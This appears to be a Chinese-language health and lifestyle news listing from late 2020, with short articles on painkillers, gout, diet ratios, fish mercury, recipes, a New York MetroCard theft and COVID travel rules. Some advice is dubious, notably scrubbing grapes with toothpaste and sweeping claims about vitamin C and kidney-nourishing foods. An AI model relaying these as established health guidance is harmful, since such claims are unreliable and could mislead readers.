健康医疗网发布:药师易丽珍指出,市面上的止痛药主要包括乙酰胺酚及非类固醇消炎止痛药,2大类止痛药的成分作用不同,副作用也不一样。举例来说,乙酰胺酚可抑制中枢神经系统,具有退烧功能,但有肝肾脏疾病者,应小心使用;而非类固醇消炎止痛药则具有消炎、镇痛、退烧等功效,长期服用可能导致消化道溃疡。


止痛药不可天天用

一周不可超过2天 过量恐增身体负担

易丽珍药师说明,一般来说,服用止痛药以短期为主,只要疼痛缓解即可停止使用,最好一星期不要超过2天,一个月内不能超过8天,服用颗数应按照指示,不可擅自增加,以免过量造成身体负担。


配合多喝水

多喝水助毒素代谢 持续疼痛快就医

易丽珍药师强调,止痛药千万不可天天服用,必要时才可短期使用,使用期间建议多喝水,加速药物毒素排出体外;若疼痛症状持续没有缓解,最好尽快就医检查,避免延误治疗时机。

2020-11-04 / by / in
火锅要忌口,这种饮料也须忌口,避免痛风会像影子一样跟着你

健康/糖/痛风

火锅在生活中是一种比较受人们喜爱的食物,但是
火锅在冬天吃,一些食物是要忌口的,以免普林摄取过多而增加罹患痛风的机率。

殊不知会造成痛风的不只是高普林的肉类、菇类、大豆类食品,还有高糖份饮料。

早在2008年国外一个期刊就刊出一篇加拿大团队的研究,研究指出喝含糖饮料会增加高尿酸血症的危险,而高尿酸就是导致痛风的原因。而根据《大纪元》,2016年一个日本研究团队就已发现果糖会使导致痛风的尿酸上升,即使体内没有普林,果糖仍透过新陈代谢变成尿酸。另外,暴饮暴食使血中尿酸起伏太大也会造成代谢问题,痛风容易发作。

据Knowing报道:台湾人爱喝的手摇饮料通常都以果糖调味,或是蔗糖,约由一半葡萄糖与一半果糖组成,这些饮料500cc、700cc喝下肚往往摄取过量的果糖。果糖的代谢会间接增加尿酸的产生。不只是饮料,高糖份的果汁如柳橙汁等等,也会增加罹患痛风的机率。

根据《TVBS》,某英国医学期刊研究发现每天喝两次含糖饮料,比起几乎不喝饮料的人,罹患痛风的风险会增加85%。而每天喝两杯果汁的人,其罹患痛风的机率是几乎不喝果汁者的两倍。


加糖

血液中的尿酸会至肾脏形成尿液排出体液,而若代谢不及,血液中的尿酸容易在关节或肌腱的周围产生尿酸结晶,造成痛风,发作时十分痛苦。

除了增加痛风风险,《美国临床营养期刊》曾有一篇研究指出,糖份会使身体释放触发发炎反应的细胞激素。研究中分析了两个大型研究中超过30年的数据,显示出每天喝一瓶以上的汽水的女性,其罹患关节炎的风险比不喝汽水的人高出63%。


加糖

2020-11-04 / by / in
纽约华人在曼哈顿地铁卡刚充值即被抢 ——如何应对地铁卡被抢、被盗

纽约华人在曼哈顿地铁卡刚充值即被抢

——如何应对地铁卡被抢、被盗

 

纽约地铁卡MetroCard

纽约华人小李,近日在地铁站给充值时地铁卡突然被人抢走。她将自己的意外经历告诉记者,希望提醒读者在地铁站要留意专门抢劫地铁卡的盗贼。

10月28日晚9点半左右,在曼哈顿上班的李小云(化名)和同事一起来到28街与第七大道交界路口上行方向的地铁站,准备搭乘1号线到时代广场。她进站前,先去了自动售票机,而她的同事则已进入站台候车。

当她给(MetroCard)刚刚充值一百多美金后,在取回卡的一刹那, 卡片突然被身后伸出来的一只手抢走。李小云下意识地回头一看,抢劫者是一个约五六十岁的像墨西哥裔的男子。

尽管她当时拽着该男子的衣服,用英文喊「把卡还给我」,但后者紧紧攥着抢来的地铁卡,迅速进入站内,并把手中另外两张卡丢给李小云。李小云拿过来一看,上面的余额只有 0.2美元和0.25美元。

她回想起刚刚充值时听到同事催促她「先别买了,先别买了。」但她并没有领会,还继续买票。而且在几分钟前她还曾看到过此人将手中一张卡伸给他,让她以为是一个好心人想帮她刷卡。

经过此事,她提醒,这种在地铁站内向你伸出地铁卡的人,多半是想让你掏钱,然后他刷卡让你进入站台,而他的卡或者是偷的,或者是捡来的,总之来路不明。

记者次日来到事发地铁站,向充值亭里的工作人员了解情况。这位不方便透露姓名的工作人员说,昨晚他就在这里值班,但根本不知道发生此事,并表示如果他当时看到了,一定会出来帮当事人要回地铁卡,或者报警。

根据MTA提供的MetroCard服务信息,如果乘客使用借记卡或信用卡在自动售票机上购买的MetroCard发生遗失或被盗,可以致电718-330-1234或511,防止卡内余额被盗刷;如需翻译,请说英文「Translator」 。也可网上挂失:https://efixmetrocard.mtanyct.info/BalanceProtection.aspx 。如果能提供遗失或被盗卡片背面的序列号,则只需提供银行卡号的后四位数字。如果不知道序列号,就要提供银行卡完整的16位卡号。通常14天后可以收到乘车卡余额。

根据纽约大都会运输署(MTA)的规定,每年每位乘客只能对MetroCard申请两次挂失,第一次免费办理,第二次收5美元手续费。

2020-11-03 / by / in , ,
防疫新规:纽约对外州旅客强制进行病毒检测

防疫新规:纽约对外州旅客强制进行病毒检测

纽约州长库默10月31日宣布,终止从疫情高风险州来的民众须隔离14天的要求,但颁布更严格的新防疫规定,要求从外州到访纽约的民众,必须在出发前三天内和抵达纽约的第四天,进行COVID-19检测,只要两个检测结果为阴性,才能不用隔离,可自行外出。以上防疫新规不适用与纽约相邻的宾州、康州和新泽西州,且于11月4日(周三)生效。

库默表示,随着节庆假日临近,需要采行更有效的检测和隔离方式,因此将不再有疫情高风险州名单;纽约州府公告中表示,此最新的防疫规定不适用于与纽约州相邻的州,包括宾州、康州和新泽西州的民众,以及基本行业的员工。

新规细则:从纽约州、宾州、康州和新泽西州以外地方来纽约的民众,要求在来纽约的前三天内进行病毒检测;当抵达纽约后要出示检测呈阴性反应的证明,然后进行自主隔离三天,于第四天再接受一次病毒检测;如果第二次检测结果也呈阴性反应,才可不用隔离,可自由外出。但第四天的病毒检测结果为阳性反应,就必须进行隔离。

对于在新规定以外的州,停留不超过24小时的民众,则返回纽约前不需进行病毒检测,也不需要在到达纽约州时进行隔离。但民众进入纽约州后必须填写旅客联系资料,并在抵达纽约后的第四天进行病毒检测,对于选择不进行检测的民众,则必须完成14天的自主隔离。

州府公吿表示,当地卫生部门将在必要时验证检测结果,如果测试结果呈阳性,则将发布隔离令并进行接触史追踪。

 

2020-11-03 / by / in ,
6种最健康的饮食搭配 餐桌上的黄金比例

健康/营养/搭配/合理膳食

人体均衡营养是达致健康的重要因素,在营养学界流传着这样一种说法,没有不好的食物,只有不合理的膳食,那么就请营养专家来总结出以下健康搭配比供大家参考。

早中晚 3:4:3

俗话说,“早上吃好,中午吃饱,晚上吃少”,尽管每个人吃多少的总量可能有差异,但比例分配可参考3:4:3,即一般来说,早、中、晚餐的能量分别占总能量的30%、40%、30%。

早餐吃够30%,是因为身体刚刚睡醒,食欲不高,消化能力处于“预热状态”,但要保证营养,以提供上午工作学习所需的能量。最好的早餐搭配是淀粉类食物、优质蛋白质类食物、富含膳食纤维和维生素C的果蔬、坚果都要有。午饭可以适量多吃一些,因为白天人们活动较多,能量消耗较大。晚餐少吃则是因为晚餐后人们活动相对较少,能量需求少,吃7分饱也有利于睡眠。


早餐

值得提醒的是,这是一日三餐的能量比例,而不是数量比例。如果早餐吃两个肉包子(2两左右),喝1碗红薯玉米粥(2两左右),上午吃1个苹果;午餐吃1碗八宝饭(3两左右),一荤菜一素菜;晚餐吃1个杂粮包或窝头,外加1碗小米粥、1份拌豆腐或黑木耳拌洋葱,就差不多能达到3:4:3的早中晚能量分配比。当然,这个比例也不是一成不变的,可根据不同的能量需求适当调整,如晚上要加班的人晚餐可适当多吃。

鱼肉蛋 1:1 :1

同是肉类,给人体带来的影响也有差异。美国一项最新研究成果显示,多吃鱼会让人的大脑容量更大,从而可以对认知障碍症等疾病起到更好的预防作用。另一项大型权威调查则显示,长期大量食用红肉,会增加因心脏病和癌症导致的死亡风险,膳食中白肉含量多的人,死亡风险低。

按照营养学会的建议,每人每天应摄入120~200克鱼、禽、肉、蛋等动物性食物。其中,畜禽肉类40~75克、鱼虾类40~75克、蛋类40~50克。具体摄入量可灵活调整,大体比例可参考鱼肉蛋搭配比1:1:1,并注意长期遵循膳食宝塔的各层各类食物的大体比例。

可能大部分家庭做不到每天都吃鱼肉,可以改成每周吃2~3次鱼,每次120~200克。平时,应尽量多吃白肉(如禽肉及鱼肉),少吃红肉(如猪、牛、羊肉等),牛羊肉可以每周吃一次,肉类尽量安排在早餐或中餐吃。


荤素搭配

此外,正常人每天最好吃一个鸡蛋。血脂异常或肥胖的人,建议每周吃2~4个鸡蛋。鸡蛋最健康的吃法是煮着吃,最好在早上或中午吃,这样可以避免晚上摄入过多胆固醇。

荤素 1:4

很多人只爱吃鸡鸭鱼肉等荤菜,虽然这些动物性脂肪含有丰富的蛋白质,吃起来美味,但超量摄入会增加肝肾负担,导致尿酸升高、痛风、肥胖、心脑血管等疾病。而蔬菜、蘑菇等素菜,则能为人体补充丰富的膳食纤维和某些水溶性维生素,改变荤菜饱和脂肪酸与胆固醇过高的缺陷。

居民平衡膳食宝塔建议,每天应吃300~500克蔬菜,120~200克鱼、禽、肉、蛋等动物性食物。因此,全天菜品的荤素比,大致可按照1:3或1:4来安排。比如,一顿饭做4道菜,可以做一个肉菜,一个豆腐和两个素菜。吃的时候,最好吃一口肉,再吃三口素菜。

主食粗细 1:3

食物多样化是平衡膳食的基本要求,主食也应多样化,要吃各种各样的谷类、杂豆类食物。对于一个活动量不是很大的成年人来说,每天摄入250~400克主食就可以满足身体的需要。年轻人、劳动强度大的人需要能量多,应适当多吃些主食;年老、活动少的人需要能量少,可少吃些主食。《中国居民膳食指南2016》建议,主食要粗细搭配,每天应吃50~100/150克(1~3两,干重)粗粮。也就是说,一天的主食中,有大约1/4~1/3的粗粮为好,也可以每周吃两次粗粮。


杂粮 

粗粮含有较多膳食纤维素,对肥胖、高血压、心脏病等慢性病有一定的预防作用。但老年人和小孩要适当控制粗粮的摄入量,尤其是消化道发育不全的婴幼儿,更要慎食粗粮。

需要提醒的是,薯类如红薯、土豆,可以适量代替部分粮食。举例来说,如果午饭吃了薯类,就要减少米饭或馒头的摄入量;晚餐吃了一块2两左右的红薯(或山药、芋头、土豆等),就可以不再吃主食了。

蔬果 2:1

众所周知,多吃蔬菜水果对我们的健康大有裨益。多项研究证实,多吃蔬菜、水果能预防癌症,有效降低早亡风险。

每人每天应吃300~500克蔬菜,200~350克水果,这也意味着两者2:1的比例较合适。蔬菜品种丰富,选择的总原则是,春秋多吃些芽叶茎类的蔬菜(如菠菜、韭黄、小青菜、菜心等),大致占蔬菜类的70%~80%;秋冬多吃些果实类、块茎类的蔬菜如萝卜、土豆、洋葱等,大致占蔬菜类的60%以上。最好每天都吃一些菌类蔬菜,一般要占当日蔬菜总量的10%~20%;绿叶菜应保持在每日蔬菜摄入量的50%以上。此外,需要注意的是,最好选择当季当地的菜品;相对而言,深色蔬菜,比如深红色的辣椒、深绿色的菠菜比浅色蔬菜营养价值更高。水果的种类也最好每天吃够3~4种。

蒸煮、爆炒 2:1

凉拌、蒸、煮、烤、煎、炸,多种多样的烹调方式造就了丰富的中国美食。经过烹调,食材的营养价值会发生变化,不同的食材最好选择不同的烹调方式。总体上来说,蒸煮比爆炒的烹调方式更健康,一方面损失营养较少,另一方面也避免了高温、多油等问题。建议蒸煮和爆炒的比例控制在2:1,煎炸则应尽量避免,如果吃的话,每周别超过3次,且最好在中午吃。


清蒸苦瓜

每顿饭最好做一个凉拌菜,因为凉拌菜能在很大程度上保留蔬菜中的维生素和矿物质,以及多种活性保健因子。事实上,几乎每种蔬菜都可以凉拌,不能生吃的可以焯熟后再拌(如土豆丝),可将蔬菜切成薄片或丝,在开水过1分钟捞出,自然晾凉,再拌即可。

2020-11-03 / by / in
温馨提醒!葡萄要这样洗,否则就是毒药!

健康/生活/洗葡萄

常常听说葡萄在水果中有皇后之称,葡萄其色美,香甜多汁,营养价值极高,是很多人都喜欢吃的水果之一。

平常家庭都会一次购买一些,放在家里慢慢吃,但你注意到了吗?葡萄要吃的时候才洗比较好,先洗了之后容易坏掉。洗了之后,即使放在冰箱冷藏,也只能放个两三天,存储过程先用纸包好(可以吸收一些渗出汁液),放在冰箱,却可以延长保存期限!但下次要吃时你又得清洗。

不想这么麻烦,又想延长储存时间,还想洗得干干净净的,怎么办?

正确方法:

1、洗葡萄的时候,用剪刀将蒂头与果实交接处,小心剪开,不要剪到皮(破皮容易污染到果肉),也不要留一小断梗在果实之外(留梗的葡萄,除了不易洗净以外,也容易刺伤其他的葡萄的果皮)。有腐烂的葡萄,先挑除不要。

2、千万不可以拔梗,会留下一个洞,果肉容易腐烂。

3、剪完的枝梗,可以看到与葡萄交接处平滑完整,如果用拔梗的方式,会将果实的纤维拉出,伤了葡萄。

4、葡萄上面白白的脏东西,参杂有蜘蛛丝,渗液,昆虫,不可食用,一定要洗干净才能食用(特别是做成果汁饮用的时候)。挤一些牙膏在手上,双手搓一搓,在轻轻搓洗葡萄。


葡萄

5、洗葡萄的过程一定要快(五分钟以内),免得葡萄吸水胀破,容易烂掉。倒掉脏水,用清水冲洗干净。清水冲洗至没有泡沫为止。

6、用筛子沥干葡萄与水。用一个平底锅的锅盖,扑上一条干净的毛巾。将沥干的葡萄倒入其中,一次大约一层葡萄的厚度,而且可以滚动。

7、双手握好平底盘,前后摇动,使葡萄均匀滚动,如此一来,残存的水分就可以吸干了。倒入干燥的碗盘中,放入冰箱,随时可食,可以保存2-3天。

8、如果你买回的葡萄就是想一次食用完的话,还有下面2种清洗方法可以供你使用~


葡萄 grape 

1、用盐:

把葡萄摘下后放在盆里加水,然后适当放一点盐,用手轻轻搓洗,最后用清水冲一下。盐有杀菌作用,还可以起到摩擦葡萄表面的作用。

2、用面粉:

在水中放上一些面粉,将葡萄浸泡几分钟,再用清水稍微冲洗下就可以啦,保证一个个的晶莹剔透~

2020-11-02 / by / in
鱼越大越有毒?知道鱼类正确食用方法,安心吃鱼吧!

健康/毒素/鱼

据调查鱼的种类极其丰富,淡水鱼就有1000多种,,海洋鱼约也多有2000多种,鱼的营养十分丰富而肉鲜味美。那么哪些鱼类食用更健康呢?

我们知道鲑鱼对于年长者的帮助,除了鲑鱼以外,其他鱼类又该怎么吃才对呢?尤其,年轻妈妈们常问,想要给孩子补充营养,但又很怕「吃大鱼」会有重金属累积的问题,实在很两难。今天告诉大家食用各种鱼类的注意事项,挑对鱼种并且小心控制食用量,还是可以两全其美,既获得营养又不伤害妈妈和孩子的健康!

非吃不可!高营养的鱼类

《华人健康》报道:人体无法自行合成omega-3脂肪酸,如:EPA和DHA,因此必须由饮食中获得才能满足人体需求。EPA和DHA有助于胎儿与幼童之脑部发育,且有助于降低异常发炎致病的风险,如:免疫力不足与过敏。鱼类除了可以提供omega-3脂肪酸,亦富含支持免疫系统运作与组织发育必需的优质蛋白质,是满足胎儿与幼童成长发育所需营养的优良选择!

这样的摄取份量,宝宝与孩子营养足

鱼类营养价值高,特别对于胎儿与幼童发育有极大帮助,因此台湾食药署建议孕妇、育龄妇女与六岁以下幼童每周皆要食用鱼类:


寿司

孕妇及育龄妇女:宜至少摄取约245-315公克的各种鱼类

1-3岁儿童:宜至少摄取约70公克的各种鱼类

4-6岁儿童:宜至少摄取约105公克的各种鱼类

*35公克约为成年人三只手指并拢之长宽与厚度

海洋污染!鱼类深受重金属甲基汞的危害

然而由于海洋污染日益严重,部分鱼类体内受重金属污染严重,特别是大型鱼类。甲基汞是目前鱼类体内可能存在的重金属,对于胎儿及幼童之神经发育可能造成危害,所以食用鱼类时须留心。


生鱼片

小心!这些高浓度甲基汞的鱼类要避免!

孕妇及育龄妇女:鲨鱼、旗鱼、鲔鱼及油鱼应避免,每周不超过70公克旗鱼、鲔鱼及油鱼,或每周不超过35公克鲨鱼

6岁以下儿童:鲨鱼、旗鱼、鲔鱼及油鱼应避免,每月不超过35公克

*鲔鱼罐头之食用限制,仅限于以长鳍鲔所制之白肉鲔鱼罐头。其他鲔鲣鱼类罐头之摄食建议,比照其他各种鱼类

鲑鱼、鲭鱼与秋刀鱼!高omega-3脂肪酸且低甲基汞的安心鱼类
鱼类是omega-3脂肪酸的重要来源,但考量到重金属污染的风险,因此美国食品药物管理局与香港政府食品安全中心皆有针对常见鱼类体中甲基汞含量进行追踪。综合相关资料之结果,鲑鱼、鲭鱼与秋刀鱼为omega-3脂肪酸含量高而重金属甲基汞含量低的安心鱼种。


鲭鱼

这样处理鱼类,食用更安心!

甲基汞与许多的环境污染物 (如:多氯联苯、戴奥辛) 皆属于脂溶性,进入人体内后相对较难排出体外。因此除了减少高含汞量的鱼摄取,如:鲨鱼、鲔鱼、旗鱼与油鱼之外,把握以下的选购或处理小技巧,就可以再降低脂溶性重金属污染或毒素的风险唷!

多种鱼类轮流选用

请向合格之食品业者购买,符合台湾《水产动物类卫生标准》安全检验核可之水产品

减少鱼皮、油脂与内脏之摄取

小助手Ella读完文章以后,觉得最简单却也最重要的一点是「多种鱼类轮流选用」!有些情况下我们很难控制食材的来源或是部位的选择,就会很担心这一口到底吃了什么毒素下肚。但其实只要平常轮替著吃各种鱼类,分散风险,一个简单的方法就可以不用如此忧心忡忡了!希望大家读完文章后,都还是一样爱吃鱼喔!


2020-11-02 / by / in
少吃饭 胆固醇反升不降 这6种主食不吃真可惜

健康/胆固醇/主食

米被称为五谷之首,在日常生活米饭更是人们饮食中的主要部分之一,一种米与五种5米调配,基本可供全身所需营养。

但米饭是一种碳水化合物和水分含量都较高的主食,它是身体所需热量的主要来源之一,可占全天热量的55%左右,减肥期间应适量食用。

许多人把米饭类的碳水化合物,直接与肥胖画上等号,为了减重,完全不吃米饭主食类的碳水化合物,视米饭为大敌,其实是错误的,反而减重难以成功,还可能造成营养不均。

「人要适当养生,还是要吃适当的的米饭主食!」《早安健康》引述基因营养功能医学专家刘博仁医师的分享,最近有一位患者不敢碰米饭主食,想要借此减重,结果胆固醇还是依旧上升,让他感到相当可惜。

面对碳水化合物,你也心存疑虑、避而远之吗?刘博仁医师就介绍了几样他眼中值得推荐的「主食类食物」,也分享了饮食上要注意的事情,其实这些碳水化合物都富含对身体很棒的营养价值与健康效果,完全不吃就太可惜了,赶快一起认识一下!


米饭

盘点6种日常主食,营养价值知多少

小米:

含维生素B1,不含麸质,对于肠胃不适的朋友可以小米加豆浆来当早餐或者是宵夜还不错。


小米

黑米:

富含花青素,适当地将黑米入主食,可以帮助抗氧化。


黑米

玉米:

含有玉米黄质,对眼睛的保护有帮助,不过现在的玉米基改相当多,因此有些人吃玉米会容易过敏,必须注意。


玉米

糯米:

虽然也有营养,但是它的淀粉型态很多人不容易消化,如果肠胃不是很好的人不宜多吃。


椰浆糯米饭

糙米:

非常推荐,如果刚开始吃糙米可以先与部分的白米混合,糙米对于通便非常有帮助。


糙米

燕麦:

对于降低胆固醇的吸收也是不错的,不过有人误会燕麦片是没有热量的,大错特错,燕麦片也是有它的热量,因此认为吃燕麦片不会发胖的观念也要纠正囉。


燕麦

小米、燕麦等全谷类食物,早已成为健康风潮,刘博仁医师颇为推荐。所谓「全谷」是指未精制的谷类,且保留着果皮(糠层、麸皮)、胚芽、及胚乳这三个最重要的部份,营养价值才完整,也才能发挥它最大的保健效果。

刘博仁医师分析,从营养价值来看,全谷类除了富含膳食纤维,维生素B1、B2、B6、维生素A、维生素C、维生素E、钾、铁、镁、钙等营养素含量也很高。若从疾病的角度来看,摄取全谷类则有助于降低罹患心血管疾病、第二型糖尿病、以及大肠直肠癌等风险。


全谷

不过,他也补充,市面上许多称为五谷、十谷、多谷、珍谷、杂粮等字眼之食品,常使人误认为是全谷食品,其实不然;甚至也有产品标示为全谷或全麦,却根本名不符实。

有哪些族群不能吃全谷类呢?刘博仁医师提醒,胃溃疡患者不建议摄取这类高纤全谷类,「糖尿病患者若合并肾功能病变」者就不宜摄取,还有对特殊谷类蛋白质、也就是所谓的「麸质过敏」者,则最好避开。

「总而言之,大家每天还是要吃点主食,增加一些很好的纤维,但是精致的淀粉类就真的要少碰了!」刘博仁医师说,碳水化合物原本是三大营养素之一,但白面粉、白面条、白土司、甚至白米饭等精致碳水化合物,都属于高升糖指数的精致淀粉,吃多了不但容易发胖,也会造成身体发炎。

2020-11-02 / by / in
姜糖片功效 解决冬天手脚冰凉 祛寒暖身(视频)

姜糖片/姜

今天和大家分享在家自制姜糖片的家常做法,做法简单,还强筋健骨等多种功效。

姜糖片有发表、散寒的功效,因此冬天食用姜糖片可以有驱寒暖身的作用。但由于姜糖片含辛辣味比较浓,因此不适合孩子和阴虚火旺者食用。当然,其它原因也可以导致手脚冰凉,比如人体的气血不足等,可以多吃一些补气血的食物,像红枣之类的。

食材:

嫩姜 500克,白糖 350克,

做法:

1. 将嫩姜洗净后切成薄片,放在盆里,用清水浸泡1小时,以去除姜的辛辣味道,捞出控干水分。

2. 往盆中放入350克白糖,搅拌均匀后腌制2个小时,之后将姜倒入炒锅里面煮开后,转中小火慢慢熬制,直至汤汁全部变干即可。

*小贴士*

如果买不到嫩姜,用老姜也可以

2020-11-01 / by / in ,
出生月份决定人得哪种疾病?研究:9月出生最健康

健康/出生/月份

据《TVBS》报道显示3万人的出生月份和27种慢性病的关联做统计,看出9月出生的人患各项慢性疾病的风险最低。

不同月份出生,除了星座会有所不同,想不到竟然还会影响健康?根据西班牙一项研究,统计12个月份出生的人,与罹患各项慢性病的关联性,由于各季节的外在环境差异,进而影响胎儿和新生儿的发育,结果发现9月出生的人罹患各慢性疾病的风险最低,相对来说较为健康!

据《TVBS》报道:这项西班牙阿利坎特大学(The University of Alicante)所做的研究,是根据3万人的出生月份和27种慢性病的关联做统计。

结果指出,春天出生的人,因为母亲在冬季孕期营养摄取不够完全,加上接触的阳光少,维生素D也相对较少,间接影响婴儿健康;而冬季出生,食物过敏的危险大,日晒时间也短,导致人体缺乏维生素D。最后研究总结,9月出生的人患各项慢性疾病的风险最低。


出生与健康

另外还发现,2月出生的人较容易有骨关节炎、4月、9月及10出生的人较容易有骨质疏松、11月出生的人较容易有心脏问题。而其中7月出生女性罹患高血压的机率有27%、尿失禁机率更高达40%;6月出生的女性,偏头痛风险降低33%,更年期问题少35%。


出生与健康

而研究人员推测,「季节」差异是主因,在不同季节中,紫外线,维生素D形成、气温、季节性病毒、过敏因子等,都是影响胎儿以及新生儿时期的发育要素。

2020-11-01 / by / in
补肾养生粥!冬天养肾就是养命 (视频)

养肾就是养命/补肾养肾/冬天养肾

肾脏是人体的重要器官,中医有“养生必先养肾的说法,也就是养肾即养命”的观点。

肾脏作为五脏之一,藏先天之精,为人体生命之源,先天之本。肾藏精,精化气,肾精足则肾气充,因此人就不容易衰老,并且身体强健。相反,若肾气不足,不仅早衰损寿,还会引发各种病症。那么,秋冬季节怎么养肾呢?人常说药补不如食补,今天我们与大家分享这款补肾养生粥,经常喝这款粥就能够起到养肾的作用。

食材:

黑豆 50克,黑米 100克,黑芝麻 50克,百合 10片,薏仁 150克,大米 100克,核桃 50克

做法:

将所有材料泡水4-6小时,加适量的水熬成粥。喝的时候可以添加适量的红糖。

功效:

固肾,黑发,强筋壮骨

*小贴士*

我们所给的量供大家参考,可以根据人数的多少酌情增减这个量。

2020-10-31 / by / in
日本自然疗法!名医天然排毒术 解决数十年的顽固便祕

健康/胡萝卜/白萝卜

便秘的人很多,但是原因不同,如饮食习惯不佳、水不足,缺乏运动等都会造成便秘。

通常便秘的发生率约在 2-30%,生活于安养院的老人则提高到50-70%;在美国,平均一年投入2.5亿美元在便秘治疗上。

久蹲马桶却无法顺畅排便好痛苦,不但小腹凸凸不好看、增加痔疮风险,甚至因为粪便滞留肠中、继续腐败而导致胀气,更可能让致癌物质「亚硝胺」、「次级胆汁酸」持续增加,提高肠癌风险。日本自然疗法专业医师推荐了一道能帮助整肠解便的「醃梅红白萝卜汤」,帮助整肠助排便,远离便祕之苦!

补充膳食纤维、酵素还能整肠杀菌的美味汤品:醃梅红白萝卜汤

《早安健康》报道:日本三浦诊所院长、自然疗法专业医师三浦直树,推荐的食谱是「醃梅红白萝卜汤」。白萝卜和红萝卜含有丰富的膳食纤维,能帮助排便,多种维生素、酵素则能帮助提高代谢、促进体内老废物质排出。

日本顺天堂大学医学部教授、名医小林弘幸也表示,粪便不易排泄、在肠道内滞留,使腐败菌增加,导致肠内环境恶化,而白萝卜含有非常丰富的各种消化酵素,能帮助改善肠内环境。

日本减肥名医工藤孝文也表示,红萝卜中丰富的水溶性膳食纤维能帮助增加肠道益菌、使粪便变得更加柔软、容易排出,是防便秘的好食材。


胡萝卜

三浦直树强调,除了红白萝卜以外,加入一起煮的醃梅也有消除疲劳、通便等效果,三者煮成汤品食用,可望有效改善便祕。

日本管理营养士荒牧麻子也指出,醃梅能活化肠胃蠕动,同时醃梅富含的柠檬酸还有杀菌效果,能帮助改善便祕、促进肠道健康。

一道汤品,数十年的顽固便祕「顺了!」

曾有一名便秘患者42岁女士,从孩提时代就开始有顽固便秘的问题,大约3~4天才会排便一次,而透过吃这道汤品,不但排便频率提高,甚至还顺畅地排出长达30cm的粪便。而且持续喝,不但便秘问题好转了,肌肤也变得更有光泽,体重更是少了5kg。

醃红白萝卜汤制作超简单日本长寿料理研究家中美惠也介绍了简单的醃梅红白萝卜汤做法:


红白萝卜

材料(2人份):

红萝卜、白萝卜泥各2大匙。

海苔半片。

无添加物醃梅半颗。

水1杯。

酱油2~3滴。

做法:

锅中放入两种萝卜泥,加水后以弱煮,再将醃梅、海苔撕碎后加入汤中煮2~3分,最后加入酱油即可。


红白萝卜汤

2020-10-31 / by / in
它不仅可以抗老化,还预防癌症,痴呆等慢性疾病(组图)

健康/抗癌/抗衰老/抗氧化/预防失智/预防心血管疾病/抗白内障

维生素C 又称维他命C,是人类的必需营养素,人体中如果缺少维生素C,就会导致抵抗力下降,影响新陈代谢等。

在众多人体抗老化理论之中,最被广为认同的就是「自由基」理论,而补充足够的抗氧化剂,消灭体内过多的自由基,降低氧化压力,可说是抗老化最直接、简易的方法。而大家最耳熟能详的抗氧化剂莫过于维生素C。偏偏不幸的是,人类是无法自行制造维生素C的,所以必须靠摄取富含维生素C的食物来补充。

维生素C可以预防4种慢性疾病

而除了抗氧化、对抗自由基之外,维生素C还有预防4种慢性疾病的功能,主要就是提高人体的免疫力,避免这些慢性疾病的生成与发展。

一、高血压与心血管疾病:

高血压已被公认为是引起心血管疾病的罪魁祸首,而经过分析血液中维生素C水平横断面的研究发现,血液中维生素C的水平是与血压成反比关系。而一项临床研究结果发现,每天摄取500mg维生素C补充剂的人,其收缩压在短期内降低了3.8mmHg。其中本身患有高血压的受测者收缩压甚至降低了5mmHg。


高血压已被公认为是引起心血管疾病的罪魁祸首。

一般而言,男性和女性血液中维生素C水平大约分别为每升血液23-70微摩尔和33-82微摩尔。欧洲营养与癌症调查中心(EPIC)进行了一项历时近13年的研究,结果发现血液中维生素C水平每超出前面所说男性与女性平均值范围20微摩尔/公升,发生心脏衰竭的风险就会降低9%。

二、失智症:

根据临床观察性研究发现,血液中维生素C的水平与大脑的认知功能障碍有密切的关系,患有阿兹海默症的病人通常血液中维生素C水平较低,而补充足够的维生素C可以降低患认知功能障碍的风险。

根据一项测试32名可能患有阿兹海默症者血液以及脑脊髓液中维生素C浓度的小型研究结果显示,发现较高的脑脊髓液与血液维生素C比例(脑脊髓液维生素C:血液维生素C)可以延缓大脑认知功能衰退的速度。

三、白内障:

根据研究发现,眼球水晶体中缺乏维生素C,会加重白内障的病情,如果提高膳食及血液中维生素C含量,可以帮助降低白内障形成的风险。如果长期数年维持每日摄取300mg以上的维生素C,就可以达到预防白内障的作用。

长期数年维持每日摄取300mg以上的维生素C,就可以达到预防白内障的作用。

四、癌症:

两度获得诺贝尔奖的化学家鲍林(Linus Pauling)晚年极力宣传「维生素C治百病」的理念,他所谓的百病,也包括癌症,虽然他的论点也曾被其他科学家挑战质疑,但也有许多研究是呼应了他的理论。

例如一项临床研究针对两组拥有乳腺癌家族病史停经前女士的膳食维生素C摄取量进行对比,这两组的每日平均摄取量分别为205mg和70mg,结果发现每日摄取205mg维生素C的一组,罹患乳腺癌的机率比另一组降低了63%。

透过实验证明,维生素C确实可以阻止胃中一种致癌物质N-亚硝基二甲胺的形成,从而降低胃癌风险。同时,欧洲营养与癌症前瞻性调查所进行的一项研究也发现,血液中维生素C的水平和胃癌的发生率成反比。

而美国爱华大学的一项研究也证明,定期向脑癌和肺癌患者注入比口服药物高100到500倍浓度的维生素C,对癌细胞具有攻击能力,会使过氧化氢酶活性低的癌细胞死亡,达到抗癌症的效果。

如何摄取适量的维生素C?

既然维生素C具有预防5种慢性病的效果,而且人体又无法自己制造,所以一定要每天自食物或补充剂中摄取足够的维生素C。成人每日建议摄取量为100毫克,孕妇约为每日摄取120毫克,哺乳的妈妈为每日摄取140毫克,其实只要吃半颗芭乐或者一颗奇异果就可以达到建议量了,食用补充剂只不得已才要采取的手段。

维生素C

2020-10-30 / by / in
(视频)素食香菇糯米烧卖

素食烧卖非常营养,味道又不亚于荤菜,今天我们分享给大家。

烧麦的样子很像盛开的花朵绽放着幸福的笑容,看了令人愉悦,当然吃起来更加的享受。不过烧卖通常都是用肉或海鲜等作为馅料。

糯米烧卖

原料:

糯米 150克,泡发香菇 10个,胡萝卜 4根,面粉 300克

调料:

盐 少许,生抽 适量,老抽 少许,糖 少许,素蠔油 少许,

做法:

1. 准备工作:a. 糯米洗净后需要提前浸泡半天,然后放入蒸锅里面蒸熟,趁热搅散。b. 事先和好面,然后饧30分钟。c. 香菇洗净切末,胡萝卜削皮洗净切末。
2. 炒馅:锅中放入适量的油,把香菇和胡萝卜末放入煸炒,加一点生抽,老抽,盐和蠔油调味,炒好后与糯米搅拌在一起,做成烧卖馅。此时的馅料都是熟的,可以尝一下口味,咸淡及颜色可以再调整。
3. 擀皮:将饧好的面团切成一个个小剂子,先擀成饺子皮,然后用擀面杖再沿着边擀几下,使之出荷叶边状变成烧麦皮。

擀烧卖皮

